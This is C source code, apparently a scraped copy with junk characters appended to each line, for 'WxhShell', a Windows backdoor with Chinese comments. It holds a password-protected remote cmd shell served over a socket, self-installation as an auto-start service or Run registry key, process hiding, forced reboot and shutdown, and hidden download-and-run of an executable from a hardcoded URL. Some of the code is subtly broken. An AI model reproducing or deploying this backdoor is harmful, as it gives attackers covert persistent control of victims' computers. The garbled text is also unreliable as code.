  // 关机 ;NEHbLH#F  
  case 'd': { ]`x~v4JU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l?d*g&  
    if(Boot(SHUTDOWN)) xK f+.6 wz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gw-l]@;1  
    else {  _~r>C  
    closesocket(wsh); fjf\/%  
    ExitThread(0); *e=e7KC6kI  
    } RN;Tqq):  
    break; 6K6ihR!d  
    } V*)gJg  
  // 获取shell H~&'`h1  
  case 's': { !^%b|=[  
    CmdShell(wsh); %%#zO Z  
    closesocket(wsh); 5E]I  
    ExitThread(0); %NuS!v>  
    break; Sn0 Gw  
  } UCFef,VW  
  // 退出 Lgy}Gm8u5  
  case 'x': { }6\p7n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3Dy.mtP  
    CloseIt(wsh); 5,A/6b  
    break; "{}5uth  
    } 2Ig.hnHj  
  // 离开 }\B6d\k  
  case 'q': { sBh|y F,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /h;X1Htx}  
    closesocket(wsh); ?6|EAKJ`lK  
    WSACleanup(); D n^RZLRhy  
    exit(1); DLVf7/=3~  
    break; q~lmOT~E  
        } giv cq'L  
  } 3 ;&N3:,X  
  } p AD@oPC  
hP #>`)aNY  
  // 提示信息 Q%6*S!~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0YKG`W  
} Gg/K  
  } zKR_P{W>^  
Y|Z*|c.4OK  
  return; n/?_]  
} XWk^$"  
Xln'~5~)  
// shell模块句柄 \ /o`CV{O  
int CmdShell(SOCKET sock) ie5"  
{ (%".=x-  
STARTUPINFO si; ke/QFN-`  
ZeroMemory(&si,sizeof(si)); 6HyQm?c>a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N=(rl#<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6g)21Mh#  
PROCESS_INFORMATION ProcessInfo; |<OZa;c+  
char cmdline[]="cmd"; 3AWg43L7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &BP%~  
  return 0; M!,WU[mP  
}  {sbQf7)  
X\_ku?]v  
// 自身启动模式 Av{1~%hU  
int StartFromService(void) Rv }e+5F  
{ HyB!8M|  
typedef struct &uC7W.|  
{ 0q81H./3  
  DWORD ExitStatus; &<4Jyhm:o  
  DWORD PebBaseAddress; z.FO6y6L  
  DWORD AffinityMask; Vg0Rc t  
  DWORD BasePriority; "gYn$4|R7*  
  ULONG UniqueProcessId; zXB.)4T  
  ULONG InheritedFromUniqueProcessId; 3(X"IoNQ  
}   PROCESS_BASIC_INFORMATION; lbMb  
~ujY+ {  
PROCNTQSIP NtQueryInformationProcess; wPOQy ~:  
%ZZ\Xj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VCtj8hKDr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HI55):Eb  
ka655O/)&  
  HANDLE             hProcess; #49,7OBU  
  PROCESS_BASIC_INFORMATION pbi; JpN+'/  
4~DoqT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N|wI=To  
  if(NULL == hInst ) return 0; %kUIIH V}  
}k$2r3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kLK}N>v}X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VXQ~PF]z0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W2s6!_AN  
Ft'?43J  
  if (!NtQueryInformationProcess) return 0; Y'wQ(6ok  
yi PMJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); THC34u]  
  if(!hProcess) return 0; J'W6NitMr  
?!KqDI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e~oI0%xl^  
wP29 xV"5  
  CloseHandle(hProcess); y\]:&)?&C^  
,iV|^]X3$/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~m'PAC"Q$  
if(hProcess==NULL) return 0; dL!PpLR$2  
u.43b8!  
HMODULE hMod; C0J/FFBQ^  
char procName[255]; p{gJVP#l'Z  
unsigned long cbNeeded; U*b1yxt  
.}C pX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yal T6  
pKMy:j  
  CloseHandle(hProcess); f!AcBfaLr  
=c:K(N qL  
if(strstr(procName,"services")) return 1; // 以服务启动 1$H*E~  
Z$"E|nRN  
  return 0; // 注册表启动 qX>mOW^gT8  
} F[5[@y  
eT0Yp  
// 主模块 c"~ +Y2]tL  
int StartWxhshell(LPSTR lpCmdLine) J4EQhuQ  
{ Bu$Z+o  
  SOCKET wsl; S}WQ~e  
BOOL val=TRUE; 9mZ[SQf  
  int port=0; (Rj'd>%c  
  struct sockaddr_in door; $DBJ"8n2  
>|IUjv2L  
  if(wscfg.ws_autoins) Install(); >NDI<9<'0}  
.'aW~WR  
port=atoi(lpCmdLine); XnR9/t  
/x\{cHAt8J  
if(port<=0) port=wscfg.ws_port;  UDl[  
,ELbm  
  WSADATA data; \iVb;7r)9:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vr/*z euA  
O1[`2kj^HB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;hzm&My  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M<$a OW0  
  door.sin_family = AF_INET; hhRUC&Y%V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -y]e`\+[  
  door.sin_port = htons(port); 2"~|k_  
4;_aFn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vf^`'  
closesocket(wsl); xO3-I@  
return 1; f_'#wc6  
} $^~dqmE2,  
_!_%Afz  
  if(listen(wsl,2) == INVALID_SOCKET) { apmZ&Ab  
closesocket(wsl); +9yV'd>U  
return 1; v@n0ma=  
} d>k)aIYp  
  Wxhshell(wsl); !'#Y-"=ypk  
  WSACleanup(); [ 'aSPA  
`?P)RS30  
return 0; pQ2'0u5w5  
\?EnTu.  
} qGivRDR$  
3;v%78[&P  
// 以NT服务方式启动 'z\$.L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V[#eeH)/  
{ /N=;3yWF  
DWORD   status = 0; 3Q;XvrGA  
  DWORD   specificError = 0xfffffff; :$ qa  
+s$` kl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G)cEUEf d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wB%N}bi!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r" 4u)H>  
  serviceStatus.dwWin32ExitCode     = 0; *M^(A}+O  
  serviceStatus.dwServiceSpecificExitCode = 0; ?azi(ja  
  serviceStatus.dwCheckPoint       = 0; `!- w^~c  
  serviceStatus.dwWaitHint       = 0; U?/C>g%/PI  
)b\89 F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ah#bj8}  
  if (hServiceStatusHandle==0) return; hsCts@R  
nI0TvB D  
status = GetLastError(); zfGS=@e]G  
  if (status!=NO_ERROR) RZ +SOZs7H  
{ {PBm dX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D^dos`L0b  
    serviceStatus.dwCheckPoint       = 0; # cGn5c}  
    serviceStatus.dwWaitHint       = 0; S29k IJ  
    serviceStatus.dwWin32ExitCode     = status; V;@kWE>3  
    serviceStatus.dwServiceSpecificExitCode = specificError; qE:/~Q0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8r{:d i*  
    return; BU;o$"L  
  } xryXO(  
y*oH"]D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?hfyQhR  
  serviceStatus.dwCheckPoint       = 0; qL;u59  
  serviceStatus.dwWaitHint       = 0; K (px-jY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LWX,u  
} HE BKRpt  
jVdRy{MH  
// 处理NT服务事件,比如:启动、停止 ?mq<#/qb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d$ f3 Cre  
{ 3OZu v};k  
switch(fdwControl) /k_?S?  
{ /l6r4aO2=  
case SERVICE_CONTROL_STOP: J n~t>?  
  serviceStatus.dwWin32ExitCode = 0; "~+? xke5z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )Up'W  
  serviceStatus.dwCheckPoint   = 0; u*"mdL2  
  serviceStatus.dwWaitHint     = 0; J}?:\y<  
  { QJ%[6S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -h%!#g  
  } z\g6E/%%  
  return; yb4Jsk5%  
case SERVICE_CONTROL_PAUSE: e09('SON(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .).}ffhOL  
  break; ,'}qLor  
case SERVICE_CONTROL_CONTINUE: N0mP EF2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #0uD&95<  
  break; $-*E   
case SERVICE_CONTROL_INTERROGATE:  "o{o9.w  
  break; HzdyfZ!jR  
}; qvHRP@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bj1{=Pvl  
} Or:a\qQ1  
KB@F^&L {  
// 标准应用程序主函数 S!oG|%VuB#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \""sf{S9  
{ :i};]pR   
8`]1Nt!*B  
// 获取操作系统版本 ~E^lKe  
OsIsNt=GetOsVer(); Gm1[PAj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y/9aI/O'  
{3H)c^Q  
  // 从命令行安装 rY:A LA  
  if(strpbrk(lpCmdLine,"iI")) Install(); Et0[HotO  
0x1#^dII  
  // 下载执行文件 j t6q8  
if(wscfg.ws_downexe) { KEfx2{k b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rEfo)jod  
  WinExec(wscfg.ws_filenam,SW_HIDE); *f ;">(`o*  
} L `6 R  
#)7THx/=  
if(!OsIsNt) { "I}]]?y  
// 如果时win9x,隐藏进程并且设置为注册表启动 +=o?&  
HideProc(); 0Z,a3)jcc  
StartWxhshell(lpCmdLine); 7Z7e}| \W  
} vw5f|Q92  
else wR@"]WkR=  
  if(StartFromService()) :=cZ,?PQp1  
  // 以服务方式启动 c7~>uNgJ  
  StartServiceCtrlDispatcher(DispatchTable); @w[2 BaDt  
else 3@*orm>em  
  // 普通方式启动 +$SJ@IH[<  
  StartWxhshell(lpCmdLine); *p  !F+"  
4n5r<?rY  
return 0; G[4$@{  
} #[LnDU8>9  
yE{(Ebm  
%V;B{?>9zB  
A@81wv  
=========================================== ;&$Nn'~a  
d!z}! :  
kuI%0) iZn  
y7Sey;  
WJ[ybzVj  
}:zTz% _K  
" +[_mSt  
PgMU|O7To  
#include <stdio.h> sCrOdJ6|  
#include <string.h> yzH[~O7  
#include <windows.h> 8x/]H(J  
#include <winsock2.h> "> ]{t[Ib  
#include <winsvc.h> ]ML(=7z"  
#include <urlmon.h> M[1!#Q><!  
IizPu4|  
#pragma comment (lib, "Ws2_32.lib") ^Ee"w7XjD  
#pragma comment (lib, "urlmon.lib") a\]g lw\;  
=Ul{#R z  
#define MAX_USER   100 // 最大客户端连接数 >JUOS2  
#define BUF_SOCK   200 // sock buffer Xc H_Y  
#define KEY_BUFF   255 // 输入 buffer +_"AF|  
]ur_G`B  
#define REBOOT     0   // 重启 QHmF,P  
#define SHUTDOWN   1   // 关机 )&pcRFl  
^(c.A YI  
#define DEF_PORT   5000 // 监听端口 8H7=vk+  
<>?7veN92  
#define REG_LEN     16   // 注册表键长度 |%~Zo:Q<$>  
#define SVC_LEN     80   // NT服务名长度 l'm\ *=3  
Z^_-LX:%  
// 从dll定义API *k^'xL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T P#Hq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _7=LSf,9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mYRsM s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vDit&Lh{T  
7AouiL 2-W  
// wxhshell配置信息 CA[3 R  
struct WSCFG { A.wuB  
  int ws_port;         // 监听端口 !Sj0!\  
  char ws_passstr[REG_LEN]; // 口令 W9M~2< L  
  int ws_autoins;       // 安装标记, 1=yes 0=no %}/|/=  
  char ws_regname[REG_LEN]; // 注册表键名 tmVGJ+gz  
  char ws_svcname[REG_LEN]; // 服务名 v3I-i|L<)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P g.j]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Bh0hUE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FzM<0FJRX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <Y"h2#M"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :SJxG&Pm=~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lFT` WO  
`~;`q  
}; 0CR~ vQf#r  
C>~ms2c  
// default Wxhshell configuration Q xm:5P  
struct WSCFG wscfg={DEF_PORT, )0UXTyw^  
    "xuhuanlingzhe", ~M Mv+d88  
    1, AR?1_]"=  
    "Wxhshell", L<H zPg  
    "Wxhshell", AdGDs+at,  
            "WxhShell Service", e,8[fp-7  
    "Wrsky Windows CmdShell Service", 3 z~d7J  
    "Please Input Your Password: ", 2R=Fc@MXs  
  1, < ?{ic2j#  
  "http://www.wrsky.com/wxhshell.exe", }P*x /z~  
  "Wxhshell.exe" kC8M2|L  
    }; tcD DX'S  
6i7+.#s  
// 消息定义模块 JZ>E<U9&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F`8B PWUY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~`Rb"Zn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Bp9_\4  
char *msg_ws_ext="\n\rExit."; %k =c9ll@:  
char *msg_ws_end="\n\rQuit."; 2|}`?bY]i`  
char *msg_ws_boot="\n\rReboot..."; ^=@`U_(,G  
char *msg_ws_poff="\n\rShutdown..."; 1a@b-V2 d&  
char *msg_ws_down="\n\rSave to "; ~/l5ys  
Y DWV=/  
char *msg_ws_err="\n\rErr!"; `x:8m?q05  
char *msg_ws_ok="\n\rOK!"; Z(wj5;[G  
HF;$Wf+=J  
char ExeFile[MAX_PATH]; ^_5t5>  
int nUser = 0; d]r?mnN W  
HANDLE handles[MAX_USER]; 155vY  
int OsIsNt; F!qt=)V@w  
o8c5~fG1  
SERVICE_STATUS       serviceStatus; /{%p%Q[X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A(}D76o_  
IlfH  
// 函数声明 9YEE.=]T  
int Install(void);  P0<)E  
int Uninstall(void); H{U(Rt]K  
int DownloadFile(char *sURL, SOCKET wsh); 5[0W+W  
int Boot(int flag); ,?oC+9w  
void HideProc(void); ./i5VBP5  
int GetOsVer(void); `NB6Of*/  
int Wxhshell(SOCKET wsl); ArVW2gL  
void TalkWithClient(void *cs); uWDWf5@  
int CmdShell(SOCKET sock); PUbfQg  
int StartFromService(void); {'NXJ!I;t  
int StartWxhshell(LPSTR lpCmdLine); opfg %*  
7?"-:q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G}LOQ7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]Il}ymkIZ  
:zp9L/eh  
// 数据结构和表定义 JJ4w]Dd4  
SERVICE_TABLE_ENTRY DispatchTable[] = ]47!Zo,  
{ 2OZ<t@\OY  
{wscfg.ws_svcname, NTServiceMain}, Vu5Djx'  
{NULL, NULL} `;)op3A'  
}; Nz;f| 2h  
fM!@cph(8  
// 自我安装 Oh; V%G  
int Install(void) (q}{;  
{ V\*J"ZP&  
  char svExeFile[MAX_PATH]; ->r udRQ  
  HKEY key; mt\pndTy7!  
  strcpy(svExeFile,ExeFile); fRK=y+gl@  
~u-_DOA  
// 如果是win9x系统,修改注册表设为自启动 :V~ AjV  
if(!OsIsNt) { EYR%u'&7'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bltZQI|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9S/X,|i  
  RegCloseKey(key); x \b+B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { siz:YRur  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =|V[^#V  
  RegCloseKey(key); vRMGNz_P7[  
  return 0; Nn{/_QG  
    } Fd/Ra]@\Y  
  } Rja>N)MzBf  
} '#u=w yp  
else { |\T!,~  
v(`5exWV  
// 如果是NT以上系统,安装为系统服务 of/' 9Tj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >uR;^B5m  
if (schSCManager!=0) eCwR }m?_  
{ {)wl`mw3  
  SC_HANDLE schService = CreateService ?o`fX wE  
  ( gr\vC  
  schSCManager, RU+F~K<  
  wscfg.ws_svcname, Sh(XFUJ  
  wscfg.ws_svcdisp, paZcTC  
  SERVICE_ALL_ACCESS, `P jS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T854}RX[{  
  SERVICE_AUTO_START, IeAUVR S)  
  SERVICE_ERROR_NORMAL, Xu& v3Y~k  
  svExeFile, qJK-HF:#  
  NULL, N**" u"CX  
  NULL, j$Vtd &  
  NULL, -?1ed|I8  
  NULL, "O<TNSbrC  
  NULL S4D~`"4 $/  
  ); 7-MyiCt  
  if (schService!=0) rq|>z.  
  { x }i'2   
  CloseServiceHandle(schService); (d#W3  
  CloseServiceHandle(schSCManager); \9k{h08s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XL`i9kV?  
  strcat(svExeFile,wscfg.ws_svcname); 9&Ny;oy#6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D)bR-a_^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T#ehJq 5  
  RegCloseKey(key); !Q{~f;L  
  return 0; {jo"@&2S  
    } %:Y'+!bX  
  } wj9 Hh  
  CloseServiceHandle(schSCManager); +?+iVLr!l}  
} 9iN}v   
} :s#&nY  
-9yWf8;  
return 1; 2YpJ4.  
} FmhN*ZXr #  
crU]P $a  
// 自我卸载 ]Ab$IK Y  
int Uninstall(void) yTh60U  
{ )P9&I.a8  
  HKEY key;  &W? hCr  
%J :2y  
if(!OsIsNt) { M~-jPY,+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6]Ri$V&"  
  RegDeleteValue(key,wscfg.ws_regname); g42f*~l  
  RegCloseKey(key); ZCDcf   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $ -M'  
  RegDeleteValue(key,wscfg.ws_regname); #RP7?yGM,  
  RegCloseKey(key); Rs53R$PIR  
  return 0; y-vQ4G5F|  
  } <26Jif:  
} v Yw$m#@  
} \O+Hmi^  
else { v:u=.by99  
eG%Q 3h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,dSP%?vV  
if (schSCManager!=0) zzZ K S  
{ 8&++S> <  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }+BbwBm&  
  if (schService!=0) jmva0K},SE  
  { A IsXu"  
  if(DeleteService(schService)!=0) { Hb@PQcj  
  CloseServiceHandle(schService); ~k/GmH  
  CloseServiceHandle(schSCManager); VB@M=ShKK  
  return 0; A9ru]|?  
  } P{o/ /M  
  CloseServiceHandle(schService); #B8V2_M  
  } 8aa`0X/6  
  CloseServiceHandle(schSCManager); h0Ilxa   
} "[wP1n!G  
} zM++ Z*  
uDsof?z  
return 1; rWxQ;bb#  
} ^Mi&2AvS  
hT[w" &3  
// 从指定url下载文件 Xjnv8{X  
int DownloadFile(char *sURL, SOCKET wsh) 'U'Y[*m@  
{ bs\7 juHt  
  HRESULT hr; i2 m+s;  
char seps[]= "/"; ;8> TD&]{  
char *token; 9xIz[`)i.  
char *file; +G lb  
char myURL[MAX_PATH]; z.]  
char myFILE[MAX_PATH]; ahx*Ti/e  
,[|4{qli\  
strcpy(myURL,sURL); wEMg~Hh  
  token=strtok(myURL,seps); G5'HrV  
  while(token!=NULL) $C~OV@I  
  { Q:sw*7"F  
    file=token; V~_aM@q1  
  token=strtok(NULL,seps); [{cMEV&  
  } qo62!q  
I.RmBUq):s  
GetCurrentDirectory(MAX_PATH,myFILE); WR@TH bU  
strcat(myFILE, "\\"); ?(P3ZTk?.  
strcat(myFILE, file); G$!JJ. )d  
  send(wsh,myFILE,strlen(myFILE),0); =r1 @?x  
send(wsh,"...",3,0); T{Y;-m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B kWoK/f4  
  if(hr==S_OK) w8>  
return 0; Gs)2HR@>  
else {8Uk]   
return 1; cuW&X9\m,  
C6cEt5  
} NY9\a[[^[8  
@?\[M9yK  
// 系统电源模块 lgaE2`0 [3  
int Boot(int flag) Mo_(WSs  
{ (2fWJ%7VG  
  HANDLE hToken; 1.y|bB+kB  
  TOKEN_PRIVILEGES tkp; Hj^_Cp]@*  
y:+4-1  
  if(OsIsNt) { `UDB9Ca  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  (zL(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5 Yf T  
    tkp.PrivilegeCount = 1; v6q oH)n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m C &*K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R@Kzdeo  
if(flag==REBOOT) { vS_Ji<W~E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -kI;yL  
  return 0; "g>, X[g  
} cas5  
else { C!Oz'~l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K:\db'``  
  return 0; POtwT">z  
} /3ty*LQT  
  } 5fqQ;r  
  else { l'0fRQc  
if(flag==REBOOT) { 98x&2(N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <W<>=vDzyE  
  return 0; 0k\BE\PQk  
} N(@B3%H2/J  
else { xpjv @P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;+-M+9"?O  
  return 0; m/(f?M l  
} Bc^ MZ~+ip  
} +#a_Y  
]= nM|e  
return 1; w%L::Z4  
} 0M_~@E*&  
RAps`)OR?  
// win9x进程隐藏模块 XV|u!'Ey  
void HideProc(void) U 3UDA  
{ *t3uj  
e[)oT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 48 n5Y~YS  
  if ( hKernel != NULL ) ap y#8]  
  { GjD^\d/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8+yC P_Y4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V+'C71-P  
    FreeLibrary(hKernel); -h?ed'e/zz  
  } B !}/4"  
/3`(Ki{ Q  
return; gfY1:0  
} v3 q.,I_  
44p?x8(z*  
// 获取操作系统版本 f0 d*%  
int GetOsVer(void) $pLJtQ  
{ )=]u]7p}  
  OSVERSIONINFO winfo; 9\J.AAk~/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6*u WRjt  
  GetVersionEx(&winfo); [')C]YQb=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $ 9%UAqk9  
  return 1; J+o6*t2|  
  else 6hX[5?}  
  return 0;  ZFH;  
} lK 0pr  
Q`{2 yU:r  
// 客户端句柄模块 5H!6 #pqM  
int Wxhshell(SOCKET wsl) n&N>$c,T27  
{ XQhbH^  
  SOCKET wsh; dtDT^~  
  struct sockaddr_in client; L63B# H "  
  DWORD myID; FIEA 'kUy  
n=8DC&  
  while(nUser<MAX_USER) snm1EPj  
{ IB%Hv]  
  int nSize=sizeof(client); ?Tr\r1s]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q GoBugU  
  if(wsh==INVALID_SOCKET) return 1; (ibj~g?U,  
GJo`9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T_NN.Ol   
if(handles[nUser]==0) }xG~ a=,  
  closesocket(wsh); T}r}uw`  
else > %B7/l$  
  nUser++; +F@ZVMp  
  } p/WE[8U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y0Bd[  
oH>G3n|U^  
  return 0; agUdPl$e\  
} >tQ$V<YB  
h( MNH6 B1  
// 关闭 socket FesUE_L2$  
void CloseIt(SOCKET wsh) }h=}!R'm   
{ WN6%%*w  
closesocket(wsh); \F5d p  
nUser--; x4^* YZc$,  
ExitThread(0); h'|J$   
} ^w6~?'}  
Z.E@aml\  
// 客户端请求句柄 sMHP=2##  
void TalkWithClient(void *cs) W)p?cK`  
{ rOA{8)jIa*  
sRaTRL2  
  SOCKET wsh=(SOCKET)cs; _<m yM2z  
  char pwd[SVC_LEN]; ''3b[<  
  char cmd[KEY_BUFF]; Zy&?.d[z  
char chr[1]; M%"{OHj!o  
int i,j; )FSa]1t;x  
I6lWB(H!u  
  while (nUser < MAX_USER) { P`TJqJiY~  
kpLx?zW--q  
if(wscfg.ws_passstr) { 0*F<tg,+]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3#Qek2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6X[Mn2wYW  
  //ZeroMemory(pwd,KEY_BUFF); bv9nDNPD4  
      i=0; }y&tF'qG  
  while(i<SVC_LEN) { {No Y`j5S  
vHM,_I{  
  // 设置超时 ;q&2$Mb  
  fd_set FdRead; e763 yd  
  struct timeval TimeOut; \?~cJMN  
  FD_ZERO(&FdRead); V8-*dE  
  FD_SET(wsh,&FdRead); ~d"9?K^#  
  TimeOut.tv_sec=8; H tAO9  
  TimeOut.tv_usec=0; `g^bQ x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2kW*Z7@D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y@2v/O,\  
=l+~}/7'Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eiJ~1H X)  
  pwd=chr[0]; {jOV8SVL  
  if(chr[0]==0xd || chr[0]==0xa) { GFfZ TA  
  pwd=0; <Oihwr@5<  
  break; $9rQ w1#e  
  } ),5|Ves;t[  
  i++; F/w*[Xi Sh  
    } v/[*Pze,C  
Kw87 0n<  
  // 如果是非法用户,关闭 socket Bh5z4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2f0qfF  
} H J0Rcw%  
(Q F-=o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #j4jZBOTM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G^2%F5@  
^ RIWW0  
while(1) { S:{`eDk\A_  
kj/v$m  
  ZeroMemory(cmd,KEY_BUFF); >bbvQb +j  
P&5kO;ia  
      // 自动支持客户端 telnet标准   Yx':~  
  j=0; nNpXkI:  
  while(j<KEY_BUFF) { 't n-o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UoOxGo  
  cmd[j]=chr[0]; vu|-}v?:  
  if(chr[0]==0xa || chr[0]==0xd) { -h%1rw  
  cmd[j]=0; 4gh` >  
  break; TxvvCV^  
  }  s4vj  
  j++; bmI6OIWl  
    } 6oy[0hj  
DsCbMs=Y  
  // 下载文件 `9mc+  
  if(strstr(cmd,"http://")) { wOn*QO[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h )h%y)1  
  if(DownloadFile(cmd,wsh)) #8r1<`']!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]6@6g>f?  
  else gVI T6"/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +@qIDUiF3  
  } K:b^@>XH  
